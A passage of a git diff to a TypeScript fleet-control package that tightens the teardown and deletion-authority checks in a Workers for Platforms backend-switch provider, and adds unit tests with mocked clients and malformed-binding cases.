live.plainTextBindings.FLEET_SPEC_DIGEST && + live.databaseIds.length === 1 && + live.databaseIds[0] === input.prior.databaseId && + live.plainTextBindings.DEPLOYMENT_TENANT === pending.spec.tenantTag && + live.plainTextBindings.FLEET_ENVIRONMENT === pending.spec.environment && + live.plainTextBindings.FLEET_SCHEMA_VERSION === + String(pending.spec.schemaVersion) && + live.plainTextBindings.FLEET_INGRESS_CONTRACT === + PLAIN_WORKER_INGRESS_CONTRACT && + sameJson(liveDurableObjectBindings, expectedDurableObjectBindings) && + sameJson(sortByName(live.serviceBindings), expectedServiceBindings) && + sameJson( + sortByName(live.queueProducerBindings ?? []), + expectedQueueBindings, + ) && + live.kvNamespaceBindings.length === 0 && + sameJson( + [...live.secretNames].sort(), + expectedSecretNames(false, application), + ) && + liveApplicationTopologyMatches( + application, + live, + DEPLOYMENT_PLATFORM_VARIABLE_NAMES, + ) + ); + } + + #switchRemovalNamespaceIds( + input: Pick< + SwitchBridgeRemovalAuthority, + 'prior' | 'bridge' | 'entryPendingArtifact' + >, + additional: readonly string[] = [], + ): readonly string[] { + return [ + ...new Set([ + ...input.prior.namespaceIds, + ...input.prior.durableObjectBindings.map( + ({ namespaceId }) => namespaceId, + ), + ...(input.bridge?.namespaceIds ?? []), + ...(input.bridge?.durableObjectBindings.map( + ({ namespaceId }) => namespaceId, + ) ?? []), + ...(input.entryPendingArtifact?.namespaceIds ?? []), + ...additional, + ]), + ].sort(); + } + async #assertSwitchBridgeRemovalAuthority( input: SwitchBridgeRemovalAuthority, ): Promise>> { @@ -2438,36 +2902,11 @@ export class WorkersForPlatformsBackendSwitchProvider } const live = await this.#inspectControlWorker(input.prior.scriptName); if (!live) return undefined; - - const liveNamespaceIds = - input.plan || input.bridge - ? await this.#client.listDurableObjectNamespaces(input.prior.scriptName) - : []; - - const plannedBindings = - input.plan && !input.bridge - ? this.#bridgeBindings( - input.targetSpec, - input.prior.databaseId, - this.#profile(input.targetSpec), - input.plan.artifactDigest, - input.plan.targetDurableObjectTag, - input.prior.application, - ) - : undefined; - const isPlannedBridge = - input.bridge === undefined && - input.plan !== undefined && - plannedBindings !== undefined && - bridgeTopologyMatches( - live, - liveNamespaceIds, - bridgeTopologyExpectationFromBindings({ - bindings: plannedBindings, - secretNames: input.plan.secretNames, - application: input.prior.application, - }), - ); + const liveNamespaceIds = [ + ...(await this.#client.listDurableObjectNamespaces( + input.prior.scriptName, + )), + ].sort(); const snapshotBindings = input.bridge ? this.#snapshotBridgeBindings({ ...input, bridge: input.bridge }) : undefined; @@ -2493,8 +2932,6 @@ export class WorkersForPlatformsBackendSwitchProvider }), }), ); - const isSnapshottedVersion = - input.bridge?.artifactVersion === live.artifactVersion; const isPriorWorker = live.artifactVersion === input.prior.artifactVersion && live.plainTextBindings.FLEET_SPEC_DIGEST === input.prior.specDigest && @@ -2541,10 +2978,10 @@ export class WorkersForPlatformsBackendSwitchProvider ), }; const isAllowedRestoredWorker = - input.bridge !== undefined && input.allowedArtifactVersions.includes(live.artifactVersion) && live.artifactVersion !== input.prior.artifactVersion && - !isSnapshottedVersion && + live.artifactVersion !== input.bridge?.artifactVersion && + live.artifactVersion !== input.entryPendingArtifact?.artifactVersion && live.plainTextBindings.FLEET_SPEC_DIGEST === input.prior.specDigest && JSON.stringify(sortedBindingKeys(live.durableObjectBindings)) === JSON.stringify(sortedBindingKeys(input.prior.durableObjectBindings)) && @@ -2562,12 +2999,53 @@ export class WorkersForPlatformsBackendSwitchProvider live, DEPLOYMENT_PLATFORM_VARIABLE_NAMES, ); + const artifactRoleNamespaceIds: readonly (readonly string[])[] = [ + ...(live.artifactVersion === input.prior.artifactVersion + ? [[...input.prior.namespaceIds].sort()] + : []), + ...(live.artifactVersion === input.bridge?.artifactVersion && input.bridge + ? [[...input.bridge.namespaceIds].sort()] + : []), + ...(live.artifactVersion === + input.entryPendingArtifact?.artifactVersion && + input.entryPendingArtifact + ? [[...input.entryPendingArtifact.namespaceIds].sort()] + : []), + ...(input.allowedArtifactVersions.includes(live.artifactVersion) && + live.artifactVersion !== input.prior.artifactVersion && + live.artifactVersion !== input.bridge?.artifactVersion + ? [[...(input.bridge?.namespaceIds ?? input.prior.namespaceIds)].sort()] + : []), + ]; if ( - (isSnapshottedVersion && !isSnapshottedBridge) || - (!isSnapshottedBridge && - !isPlannedBridge && - !isPriorWorker && - !isAllowedRestoredWorker) || + new Set( + artifactRoleNamespaceIds.map((namespaceIds) => + JSON.stringify(namespaceIds), + ), + ).size > 1 + ) { + throw new Error('refusing to delete a foreign backend-switch bridge'); + } + const roleNamespaceIds: readonly (readonly string[])[] = [ + ...(isPriorWorker ? [[...input.prior.namespaceIds].sort()] : []), + ...(isSnapshottedBridge && input.bridge + ? [[...input.bridge.namespaceIds].sort()] + : []), + ...(isAllowedRestoredWorker + ? [[...(input.bridge?.namespaceIds ?? input.prior.namespaceIds)].sort()] + : []), + ...(this.#pendingEntryWorkerMatches(live, input) && + input.entryPendingArtifact + ? [[...input.entryPendingArtifact.namespaceIds].sort()] + : []), + ]; + const distinctRoleNamespaceIds = new Set( + roleNamespaceIds.map((namespaceIds) => JSON.stringify(namespaceIds)), + ); + if ( + roleNamespaceIds.length === 0 || + distinctRoleNamespaceIds.size !== 1 || + !sameJson(liveNamespaceIds, roleNamespaceIds[0]) || live.databaseIds.length !== 1 || live.databaseIds[0] !== input.prior.databaseId || live.plainTextBindings.DEPLOYMENT_TENANT !== input.targetSpec.tenantTag || @@ -2595,24 +3073,7 @@ export class WorkersForPlatformsBackendSwitchProvider }, ): Promise { const live = await this.#assertSwitchBridgeRemovalAuthority(input); - const authoritativeNamespaceIds = [ - ...new Set([ - ...input.prior.namespaceIds, - ...input.prior.durableObjectBindings.flatMap(({ namespaceId }) => - namespaceId ? [namespaceId] : [], - ), - ...(input.bridge?.namespaceIds ?? []), - ...(input.bridge?.durableObjectBindings.flatMap(({ namespaceId }) => - namespaceId ? [namespaceId] : [], - ) ?? []), - ...(await this.#client.listDurableObjectNamespaces( - input.prior.scriptName, - )), - ...(live?.durableObjectBindings.flatMap(({ namespaceId }) => - namespaceId ? [namespaceId] : [], - ) ?? []), - ]), - ]; + const authoritativeNamespaceIds = this.#switchRemovalNamespaceIds(input); if (live) { await this.#client.withMutationFence(input.fence, async () => { await this.#client.revokeControlSecrets(input.prior.scriptName); @@ -2622,12 +3083,15 @@ export class WorkersForPlatformsBackendSwitchProvider if (await this.#inspectControlWorker(input.prior.scriptName)) { throw new Error('backend-switch bridge remains after decommission'); } - for (const namespaceId of authoritativeNamespaceIds) { - if (await this.#client.hasDurableObjectNamespace(namespaceId)) { - throw new Error( - `backend-switch namespace '${namespaceId}' remains after decommission`, - ); - } + const existingNamespaceIds = + await this.#client.existingDurableObjectNamespaceIds( + authoritativeNamespaceIds, + ); + const remainingNamespaceId = existingNamespaceIds[0]; + if (remainingNamespaceId) { + throw new Error( + `backend-switch namespace '${remainingNamespaceId}' remains after decommission`, + ); } } @@ -2670,6 +3134,113 @@ export class WorkersForPlatformsBackendSwitchProvider await this.#backend.deleteApplicationR2Bucket(resource, fence); } + /** Reads one switch database by immutable provider ID. */ + getSwitchDatabase( + databaseId: string, + ): Promise { + return this.#client.getDatabase(databaseId); + } + + /** Reads the raw deployment owner under the supplied mutation fence. */ + readSwitchDatabaseOwner( + database: DatabaseReference, + fence: BackendSwitchMutationFence, + ): Promise { + return this.#backend.readDeploymentIdentity(database, fence); + } + + /** + * Reasserts switch-owned residual absence without invoking the legacy + * account-wide Worker attachment enumeration. + */ + async assertSwitchDatabaseDeletionResidualsRemoved( + input: Readonly<{ + prior: PlainBackendSnapshot; + targetSpec: DeploymentSpec; + currentRecord: FleetRecord; + database: DatabaseReference; + fence: BackendSwitchMutationFence; + }>, + ): Promise { + const snapshot = + input.currentRecord.backendSwitchIntent?.decommissionSnapshot; + if ( + !snapshot?.prior || + !sameJson(snapshot.prior, input.prior) || + snapshot.providerTargetSpecDigest !== + deploymentSpecDigest(input.targetSpec) + ) { + throw new Error('backend switch decommission authorization was lost'); + } + await this.assertSwitchTrafficRemoved({ + prior: input.prior, + routeHostname: snapshot.routeHostname, + }); + for (const { release } of snapshot.releases) { + if ( + (await this.#inspectDispatchWorker(release.physicalScriptName)) || + (await this.#client.getScriptInventory( + this.#hostRoutingKvId, + release.physicalScriptName, + )) + ) { + throw new Error('backend-switch release remains after decommission'); + } + } + if (await this.#inspectControlWorker(input.prior.scriptName)) { + throw new Error('backend-switch bridge remains after decommission'); + } + const namespaceIds = this.#switchRemovalNamespaceIds( + { + prior: input.prior, + bridge: snapshot.bridge, + ...(snapshot.entryPendingArtifactVersion && + snapshot.entryPendingNamespaceIds + ? { + entryPendingArtifact: { + artifactVersion: snapshot.entryPendingArtifactVersion, + namespaceIds: snapshot.entryPendingNamespaceIds, + spec: input.targetSpec, + }, + } + : {}), + }, + snapshot.resources?.stateWorker.namespaceIds ?? [], + ); + const existingNamespaceIds = + await this.#client.existingDurableObjectNamespaceIds(namespaceIds); + const remainingNamespaceId = existingNamespaceIds[0]; + if (remainingNamespaceId) { + throw new Error( + `backend-switch namespace '${remainingNamespaceId}' remains after decommission`, + ); + } + } + + /** Deletes the already-reconciled switch database without a legacy scan. */ + deleteSwitchDatabaseBounded( + input: Readonly<{ + prior: PlainBackendSnapshot; + targetSpec: DeploymentSpec; + database: DatabaseReference; + fence: BackendSwitchMutationFence; + }>, + ): Promise { + if ( + input.database.id !== input.prior.databaseId || + input.database.name !== input.prior.databaseName || + input.prior.databaseName !== input.targetSpec.databaseName || + input.prior.scriptName !== input.targetSpec.scriptName + ) { + throw new Error( + 'backend-switch database identity changed before teardown', + ); + } + return this.#client.withMutationFence(input.fence, () => + this.#client.deleteDatabase(input.database.id), + ); + } + async exportSwitchDatabase(input: { readonly prior: PlainBackendSnapshot; readonly targetSpec: DeploymentSpec; diff --git a/packages/fleet-control/test/backend-switch-provider.test.ts b/packages/fleet-control/test/backend-switch-provider.test.ts index cffa7424..7e43d44f 100644 --- a/packages/fleet-control/test/backend-switch-provider.test.ts +++ b/packages/fleet-control/test/backend-switch-provider.test.ts @@ -13,12 +13,14 @@ import { } from '../src/platform-resources.js'; import { deploymentSpecDigest } from '../src/spec-digest.js'; import type { + DatabaseExportReceiptIdentity, DeploymentSpec, ExternalMutationFence, ExternalPlatformProfile, ExternalPlatformTargetDescription, ExternalReleaseSnapshot, FleetRecord, + PlainWorkerVersionDetail, } from '../src/types.js'; import type { WorkersForPlatformsBackend } from '../src/workers-for-platforms-backend.js'; import type { BackendSwitchApi } from '../src/workers-for-platforms-backend-switch-provider.js'; @@ -240,9 +242,25 @@ function provider( ): WorkersForPlatformsBackendSwitchProvider { const inspectControlWorker = client.inspectControlWorker; const inspectDispatchWorker = client.inspectDispatchWorker; + const listDurableObjectNamespaces = + client.listDurableObjectNamespaces ?? (async () => prior.namespaceIds); + const existingDurableObjectNamespaceIds = + client.existingDurableObjectNamespaceIds ?? + (async (ids: readonly string[]) => { + if (!client.hasDurableObjectNamespace) return []; + const existing: string[] = []; + for (const id of ids) { + if (await client.hasDurableObjectNamespace.call(client, id)) { + existing.push(id); + } + } + return existing; + }); return new WorkersForPlatformsBackendSwitchProvider({ client: { ...client, + existingDurableObjectNamespaceIds, + listDurableObjectNamespaces, ...(inspectControlWorker ? { inspectControlWorker: async (scriptName: string) => { @@ -517,18 +535,19 @@ async function removePlanOnlyBridge( path: 'traffic' | 'bridge', bridge?: BridgeSnapshot, plan: BridgeMutationPlan = fixture.plan, - allowedArtifactVersions: readonly string[] = [ - prior.artifactVersion, - ...(bridge ? [bridge.artifactVersion] : []), - ], + allowedArtifactVersions?: readonly string[], ): Promise { + const persistedBridge = bridge ?? persistedBridgeSnapshot(fixture); const authority = { prior, priorSpec, targetSpec, plan, - ...(bridge ? { bridge } : {}), - allowedArtifactVersions, + bridge: persistedBridge, + allowedArtifactVersions: allowedArtifactVersions ?? [ + prior.artifactVersion, + persistedBridge.artifactVersion, + ], fence, }; if (path === 'traffic') { @@ -721,6 +740,7 @@ describe('backend switch provider teardown authority', () => { fixture.subject.removeSwitchBridge({ prior, priorSpec, + bridge: persistedBridgeSnapshot(fixture), targetSpec: plannedTargetSpec, plan: fixture.plan, allowedArtifactVersions: [prior.artifactVersion], @@ -2110,6 +2130,7 @@ describe('backend switch provider response-loss recovery', () => { subject.removeSwitchBridge({ prior, priorSpec, + bridge: recovered, targetSpec, plan, allowedArtifactVersions: [prior.artifactVersion], @@ -2172,4 +2193,807 @@ describe('backend switch provider response-loss recovery', () => { /complete durable target/, ); }); + + it('exposes complete bounded switch capabilities under the original receivers', async () => { + const receiverCalls: string[] = []; + let scannerGetterReads = 0; + let receiptAuthorityGetterReads = 0; + let receiptMethodGetterReads = 0; + const databaseId = '00000000-0000-0000-0000-000000000001'; + const pendingSpec: DeploymentSpec = { + ...priorSpec, + durableObjectBindings: [ + { + name: 'RUNNER', + className: 'Runner', + scriptName: 'object-owner', + }, + { + name: 'PENDING', + className: 'Pending', + dispatchNamespace: 'pending-dispatch', + }, + ], + egressProxyService: 'egress-service', + queueProducer: { binding: 'EVENTS', queueName: 'events' }, + application: { + vars: [{ name: 'APP_VAR', value: 'application-value' }], + secrets: [{ name: 'APP_SECRET', valueSha256: 'c'.repeat(64) }], + r2Buckets: [{ name: 'FILES', jurisdiction: 'eu' }], + }, + }; + const pendingSpecDigest = deploymentSpecDigest(pendingSpec); + const boundedPrior = { + ...prior, + databaseId, + databaseName: pendingSpec.databaseName, + }; + const pendingApplicationResource = { + name: 'FILES', + bucketName: 'pending-files', + jurisdiction: 'eu' as const, + state: 'created' as const, + reservationNonce: 'pending-files-reservation', + creationDate: '2026-08-30T00:00:00.000Z', + }; + const pendingApplication = { + vars: [{ name: 'APP_VAR', value: 'application-value' }], + secrets: [{ name: 'APP_SECRET', valueSha256: 'c'.repeat(64) }], + r2Buckets: [ + { + name: 'FILES', + bucketName: 'pending-files', + jurisdiction: 'eu' as const, + }, + ], + }; + const exactVersion: PlainWorkerVersionDetail = { + versionId: 'pending-v2', + tag: pendingSpecDigest, + bindings: [ + { type: 'd1', name: 'DB', databaseId }, + { + type: 'durable-object', + name: 'RUNNER', + className: 'Runner', + namespaceId: 'namespace-pending', + scriptName: 'object-owner', + }, + { + type: 'durable-object', + name: 'PENDING', + className: 'Pending', + namespaceId: 'namespace-pending-extra', + dispatchNamespace: 'pending-dispatch', + }, + { + type: 'service', + name: 'EGRESS_PROXY', + service: 'egress-service', + }, + { + type: 'queue-producer', + name: 'EVENTS', + queueName: 'events', + }, + { + type: 'r2-bucket', + name: 'FILES', + bucketName: 'pending-files', + }, + { + type: 'plain-text', + name: 'DEPLOYMENT_TENANT', + value: pendingSpec.tenantTag, + }, + { + type: 'plain-text', + name: 'FLEET_ENVIRONMENT', + value: pendingSpec.environment, + }, + { + type: 'plain-text', + name: 'FLEET_SCHEMA_VERSION', + value: String(pendingSpec.schemaVersion), + }, + { + type: 'plain-text', + name: 'FLEET_SPEC_DIGEST', + value: pendingSpecDigest, + }, + { + type: 'plain-text', + name: 'FLEET_INGRESS_CONTRACT', + value: 'guarded-object-v1', + }, + { + type: 'plain-text', + name: 'APP_VAR', + value: 'application-value', + }, + { type: 'secret-text', name: 'APP_SECRET' }, + { type: 'secret-text', name: 'DEPLOYMENT_IDENTITY_SECRET' }, + { type: 'secret-text', name: 'MAINTENANCE_ADMIN_SECRET' }, + ], + }; + let versionObservation: PlainWorkerVersionDetail | undefined = exactVersion; + let secretObservation: readonly string[] = [ + 'APP_SECRET', + 'DEPLOYMENT_IDENTITY_SECRET', + 'MAINTENANCE_ADMIN_SECRET', + ]; + let versionFailure: Error | undefined; + let secretFailure: Error | undefined; + const api = { + findOrdinaryWorkerVersion(this: unknown) { + expect(this).toBe(api); + receiverCalls.push('version'); + return versionFailure + ? Promise.reject(versionFailure) + : Promise.resolve(versionObservation); + }, + listOrdinaryWorkerSecretNames(this: unknown) { + expect(this).toBe(api); + receiverCalls.push('secrets'); + return secretFailure + ? Promise.reject(secretFailure) + : Promise.resolve(secretObservation); + }, + getDatabase(this: unknown, id: string) { + expect(this).toBe(api); + receiverCalls.push(`database:${id}`); + return Promise.resolve({ + id, + name: prior.databaseName, + created: false, + }); + }, + withMutationFence( + this: unknown, + _fence: ExternalMutationFence, + operation: () => Promise, + ) { + expect(this).toBe(api); + receiverCalls.push('fence'); + return operation(); + }, + deleteDatabase(this: unknown, id: string) { + expect(this).toBe(api); + receiverCalls.push(`delete:${id}`); + return Promise.resolve(); + }, + } as unknown as BackendSwitchApi; + Object.defineProperties(api, { + advanceDecommissionAttachmentScan: { + enumerable: true, + get() { + scannerGetterReads += 1; + return function (this: unknown) { + expect(this).toBe(api); + receiverCalls.push('scan'); + return Promise.resolve({ status: 'drift' as const }); + }; + }, + }, + databaseExportReceiptAuthority: { + enumerable: true, + get() { + receiptAuthorityGetterReads += 1; + return 'memory://switch-receipts/v1'; + }, + }, + exportDatabaseReceipt: { + enumerable: true, + get() { + receiptMethodGetterReads += 1; + return function ( + this: unknown, + identity: DatabaseExportReceiptIdentity, + ) { + expect(this).toBe(api); + receiverCalls.push('receipt'); + return Promise.resolve({ + databaseId: identity.databaseId, + location: 'memory://switch-receipts/v1/export.sql', + sha256: 'a'.repeat(64), + size: 1, + }); + }; + }, + }, + }); + const backend = { + readDeploymentIdentity( + this: unknown, + _database: unknown, + _fence: ExternalMutationFence, + ) { + expect(this).toBe(backend); + receiverCalls.push('owner'); + return Promise.resolve(pendingSpec.tenantTag); + }, + } as unknown as WorkersForPlatformsBackend; + const subject = new WorkersForPlatformsBackendSwitchProvider({ + client: api, + backend, + hostRoutingKvId: 'hosts-kv', + sharedOutboundWorkerName: 'shared-outbound', + stateEgressRootSecret: 'root-secret-012345678901234567890123456789', + platformProfileFor: () => profile, + assertServing: async () => {}, + drainCandidate: async () => {}, + }); + + expect(scannerGetterReads).toBe(1); + expect(receiptAuthorityGetterReads).toBe(1); + expect(receiptMethodGetterReads).toBe(1); + expect( + Object.hasOwn(subject, 'advanceSwitchDecommissionAttachmentScan'), + ).toBe(true); + expect(Object.hasOwn(subject, 'exportSwitchDatabaseReceipt')).toBe(true); + await subject.advanceSwitchDecommissionAttachmentScan?.({} as never); + const currentRecord = { + tenantTag: pendingSpec.tenantTag, + environment: pendingSpec.environment, + scriptName: pendingSpec.scriptName, + databaseId, + databaseName: pendingSpec.databaseName, + applicationBindings: pendingApplication, + applicationResources: [pendingApplicationResource], + } as unknown as FleetRecord; + await expect( + subject.captureSwitchEntryPendingArtifact({ + expectedArtifactVersion: 'pending-v2', + spec: pendingSpec, + currentRecord, + fence, + }), + ).resolves.toEqual({ + artifactVersion: 'pending-v2', + specDigest: pendingSpecDigest, + databaseIds: [databaseId], + durableObjectBindings: [ + { + name: 'PENDING', + className: 'Pending', + namespaceId: 'namespace-pending-extra', + dispatchNamespace: 'pending-dispatch', + }, + { + name: 'RUNNER', + className: 'Runner', + namespaceId: 'namespace-pending', + scriptName: 'object-owner', + }, + ], + secretNames: [ + 'APP_SECRET', + 'DEPLOYMENT_IDENTITY_SECRET', + 'MAINTENANCE_ADMIN_SECRET', + ], + serviceBindings: [{ name: 'EGRESS_PROXY', service: 'egress-service' }], + queueProducerBindings: [{ name: 'EVENTS', queueName: 'events' }], + application: pendingApplication, + }); + await expect(subject.getSwitchDatabase(databaseId)).resolves.toMatchObject({ + id: databaseId, + }); + await expect( + subject.readSwitchDatabaseOwner( + { id: databaseId, name: pendingSpec.databaseName, created: false }, + fence, + ), + ).resolves.toBe(pendingSpec.tenantTag); + await expect( + subject.exportSwitchDatabaseReceipt?.( + { + version: 1, + authority: 'memory://switch-receipts/v1', + databaseId, + operationId: '00000000-0000-4000-8000-000000000002', + }, + { prior: boundedPrior, targetSpec: pendingSpec, fence }, + ), + ).resolves.toMatchObject({ databaseId }); + await expect( + subject.deleteSwitchDatabaseBounded({ + prior: boundedPrior, + targetSpec: pendingSpec, + database: { + id: databaseId, + name: pendingSpec.databaseName, + created: false, + }, + fence, + }), + ).resolves.toBeUndefined(); + expect(receiverCalls).toEqual([ + 'scan', + 'version', + 'secrets', + `database:${databaseId}`, + 'owner', + 'fence', + 'receipt', + 'fence', + `delete:${databaseId}`, + ]); + + const captureInput = { + expectedArtifactVersion: 'pending-v2', + spec: pendingSpec, + currentRecord, + fence, + }; + const versionReadFailure = new Error('exact version read failed'); + versionFailure = versionReadFailure; + await expect( + subject.captureSwitchEntryPendingArtifact(captureInput), + ).rejects.toBe(versionReadFailure); + versionFailure = undefined; + const secretReadFailure = new Error('secret inventory read failed'); + secretFailure = secretReadFailure; + await expect( + subject.captureSwitchEntryPendingArtifact(captureInput), + ).rejects.toBe(secretReadFailure); + secretFailure = undefined; + + const mutateBinding = ( + type: PlainWorkerVersionDetail['bindings'][number]['type'], + name: string, + patch: Readonly>, + ): PlainWorkerVersionDetail => { + const version = structuredClone(exactVersion); + const binding = version.bindings.find( + (candidate) => candidate.type === type && candidate.name === name, + ); + if (!binding) throw new Error(`missing ${type}:${name} binding`); + Object.assign(binding as unknown as Record, patch); + return version; + }; + const malformedRows: readonly Readonly<{ + label: string; + version: PlainWorkerVersionDetail | undefined; + secrets: readonly string[]; + }>[] = [ + { + label: 'absent exact version', + version: undefined, + secrets: secretObservation, + }, + { + label: 'wrong exact version id', + version: { ...exactVersion, versionId: 'pending-v3' }, + secrets: secretObservation, + }, + { + label: 'wrong exact version tag', + version: { ...exactVersion, tag: 'd'.repeat(64) }, + secrets: secretObservation, + }, + { + label: 'wrong D1 identifier', + version: mutateBinding('d1', 'DB', { databaseId: 'foreign-database' }), + secrets: secretObservation, + }, + { + label: 'wrong D1 binding name', + version: mutateBinding('d1', 'DB', { name: 'FOREIGN_DB' }), + secrets: secretObservation, + }, + { + label: 'wrong Durable Object name', + version: mutateBinding('durable-object', 'RUNNER', { + name: 'FOREIGN_RUNNER', + }), + secrets: secretObservation, + }, + { + label: 'wrong Durable Object class', + version: mutateBinding('durable-object', 'RUNNER', { + className: 'ForeignRunner', + }), + secrets: secretObservation, + }, + { + label: 'wrong Durable Object script selector', + version: mutateBinding('durable-object', 'RUNNER', { + scriptName: 'foreign-owner', + }), + secrets: secretObservation, + }, + { + label: 'wrong Durable Object dispatch selector', + version: mutateBinding('durable-object', 'PENDING', { + dispatchNamespace: 'foreign-dispatch', + }), + secrets: secretObservation, + }, + { + label: 'wrong Durable Object namespace', + version: mutateBinding('durable-object', 'PENDING', { + namespaceId: 'namespace-pending', + }), + secrets: secretObservation, + }, + { + label: 'wrong tenant plain-text fact', + version: mutateBinding('plain-text', 'DEPLOYMENT_TENANT', { + value: 'foreign-tenant', + }), + secrets: secretObservation, + }, + { + label: 'wrong environment plain-text fact', + version: mutateBinding('plain-text', 'FLEET_ENVIRONMENT', { + value: 'foreign-environment', + }), + secrets: secretObservation, + }, + { + label: 'wrong schema plain-text fact', + version: mutateBinding('plain-text', 'FLEET_SCHEMA_VERSION', { + value: '999', + }), + secrets: secretObservation, + }, + { + label: 'wrong digest plain-text fact', + version: mutateBinding('plain-text', 'FLEET_SPEC_DIGEST', { + value: 'd'.repeat(64), + }), + secrets: secretObservation, + }, + { + label: 'wrong ingress plain-text fact', + version: mutateBinding('plain-text', 'FLEET_INGRESS_CONTRACT', { + value: 'foreign-ingress', + }), + secrets: secretObservation, + }, + { + label: 'wrong application plain-text fact', + version: mutateBinding('plain-text', 'APP_VAR', { + value: 'foreign-value', + }), + secrets: secretObservation, + }, + { + label: 'wrong service name', + version: mutateBinding('service', 'EGRESS_PROXY', { + name: 'FOREIGN_SERVICE', + }), + secrets: secretObservation, + }, + { + label: 'wrong service target', + version: mutateBinding('service', 'EGRESS_PROXY', { + service: 'foreign-service', + }), + secrets: secretObservation, + }, + { + label: 'wrong queue binding name', + version: mutateBinding('queue-producer', 'EVENTS', { + name: 'FOREIGN_QUEUE', + }), + secrets: secretObservation, + }, + { + label: 'wrong queue target', + version: mutateBinding('queue-producer', 'EVENTS', { + queueName: 'foreign-events', + }), + secrets: secretObservation, + }, + { + label: 'wrong R2 binding name', + version: mutateBinding('r2-bucket', 'FILES', { + name: 'FOREIGN_FILES', + }), + secrets: secretObservation, + }, + { + label: 'wrong R2 bucket', + version: mutateBinding('r2-bucket', 'FILES', { + bucketName: 'foreign-files', + }), + secrets: secretObservation, + }, + { + label: 'wrong present R2 jurisdiction', + version: mutateBinding('r2-bucket', 'FILES', { + jurisdiction: 'fedramp', + }), + secrets: secretObservation, + }, + { + label: 'duplicate authoritative secret', + version: exactVersion, + secrets: [ + 'APP_SECRET', + 'DEPLOYMENT_IDENTITY_SECRET', + 'DEPLOYMENT_IDENTITY_SECRET', + ], + }, + { + label: 'missing authoritative secret', + version: exactVersion, + secrets: ['APP_SECRET', 'DEPLOYMENT_IDENTITY_SECRET'], + }, + { + label: 'version secret disagreement', + version: { + ...exactVersion, + bindings: exactVersion.bindings.filter( + (binding) => + binding.type !== 'secret-text' || + binding.name !== 'MAINTENANCE_ADMIN_SECRET', + ), + }, + secrets: [ + 'APP_SECRET', + 'DEPLOYMENT_IDENTITY_SECRET', + 'MAINTENANCE_ADMIN_SECRET', + ], + }, + { + label: 'unexpected service entrypoint', + version: mutateBinding('service', 'EGRESS_PROXY', { + entrypoint: 'Admin', + }), + secrets: [ + 'APP_SECRET', + 'DEPLOYMENT_IDENTITY_SECRET', + 'MAINTENANCE_ADMIN_SECRET', + ], + }, + { + label: 'malformed supported binding', + version: { + ...exactVersion, + bindings: [ + ...exactVersion.bindings, + { + type: 'unsupported', + name: 'MALFORMED', + providerType: 'secret_text', + issue: 'malformed-supported-binding', + }, + ], + }, + secrets: [ + 'APP_SECRET', + 'DEPLOYMENT_IDENTITY_SECRET', + 'MAINTENANCE_ADMIN_SECRET', + ], + }, + ]; + for (const row of malformedRows) { + versionObservation = row.version; + secretObservation = row.secrets; + let error: unknown; + try { + await subject.captureSwitchEntryPendingArtifact(captureInput); + } catch (caught) { + error = caught; + } + expect({ label: row.label, message: (error as Error).message }).toEqual({ + label: row.label, + message: 'backend switch pending artifact inspection is malformed', + }); + } + versionObservation = exactVersion; + secretObservation = [ + 'APP_SECRET', + 'DEPLOYMENT_IDENTITY_SECRET', + 'MAINTENANCE_ADMIN_SECRET', + ]; + await expect( + subject.captureSwitchEntryPendingArtifact({ + ...captureInput, + currentRecord: { + ...currentRecord, + applicationBindings: { + ...pendingApplication, + secrets: [{ name: 'APP_SECRET', valueSha256: 'd'.repeat(64) }], + }, + }, + }), + ).rejects.toThrow( + 'backend switch pending artifact inspection is malformed', + ); + }); + + it('separates bounded switch D1 residuals from legacy attachment enumeration', async () => { + let attachmentLists = 0; + let bulkNamespaceLists = 0; + let deletes = 0; + let bulkFailure: Error | undefined; + const database = { + id: prior.databaseId, + name: prior.databaseName, + created: false, + }; + const pendingSpec: DeploymentSpec = { + ...priorSpec, + durableObjectBindings: [ + ...priorSpec.durableObjectBindings, + { name: 'PENDING', className: 'Pending' }, + ], + }; + const pendingNamespaceIds = ['namespace-pending', 'namespace-runner']; + let pendingArtifactVersion = 'pending-v2'; + let trafficMutations = 0; + const pendingSubject = provider({ + inspectControlWorker: async () => + completeProviderBindingInspection({ + artifactVersion: pendingArtifactVersion, + databaseIds: [prior.databaseId], + durableObjectBindings: [ + ...prior.durableObjectBindings, + { + name: 'PENDING', + className: 'Pending', + namespaceId: 'namespace-pending', + }, + ], + serviceBindings: [], + queueProducerBindings: [], + r2BucketBindings: [], + kvNamespaceBindings: [], + secretNames: [ + 'DEPLOYMENT_IDENTITY_SECRET', + 'MAINTENANCE_ADMIN_SECRET', + ], + plainTextBindings: { + DEPLOYMENT_TENANT: pendingSpec.tenantTag, + FLEET_ENVIRONMENT: pendingSpec.environment, + FLEET_SCHEMA_VERSION: String(pendingSpec.schemaVersion), + FLEET_SPEC_DIGEST: deploymentSpecDigest(pendingSpec), + FLEET_INGRESS_CONTRACT: 'guarded-object-v1', + }, + workersDevEnabled: true, + previewUrlsEnabled: false, + routeHostnames: [], + zoneRoutes: [], + }), + listDurableObjectNamespaces: async () => pendingNamespaceIds, + inspectOrdinaryWorkerFootprint: async () => ordinaryFootprint(), + getHostRouting: async () => undefined, + deleteHostRouting: async () => { + trafficMutations += 1; + }, + listCustomDomains: async () => [], + disableOrdinaryWorkerPublicAccess: async () => { + trafficMutations += 1; + }, + withMutationFence: async (_fence, operation) => operation(), + }); + const pendingAuthority = { + prior, + priorSpec, + targetSpec, + allowedArtifactVersions: [prior.artifactVersion], + tenantTag: targetSpec.tenantTag, + environment: targetSpec.environment, + routeHostname: targetSpec.routeHostname, + routeTargets: [], + entryPendingArtifact: { + artifactVersion: pendingArtifactVersion, + namespaceIds: pendingNamespaceIds, + spec: pendingSpec, + }, + fence, + }; + await expect( + pendingSubject.removeSwitchTraffic(pendingAuthority), + ).resolves.toBeUndefined(); + expect(trafficMutations).toBe(2); + pendingArtifactVersion = prior.artifactVersion; + await expect( + pendingSubject.removeSwitchTraffic({ + ...pendingAuthority, + entryPendingArtifact: { + ...pendingAuthority.entryPendingArtifact, + artifactVersion: prior.artifactVersion, + }, + }), + ).rejects.toThrow('refusing to delete a foreign backend-switch bridge'); + expect(trafficMutations).toBe(2); + + const client: Partial = { + getDatabase: async () => database, + withMutationFence: async (_fence, operation) => operation(), + getHostRouting: async () => undefined, + listCustomDomains: async () => [], + inspectOrdinaryWorkerFootprint: async () => + ordinaryFootprint({ + scriptPresent: false, + workersDevEnabled: false, + previewUrlsEnabled: false, + }), + inspectControlWorker: async () => undefined, + inspectDispatchWorker: async () => undefined, + getScriptInventory: async () => undefined, + existingDurableObjectNamespaceIds: async () => { + 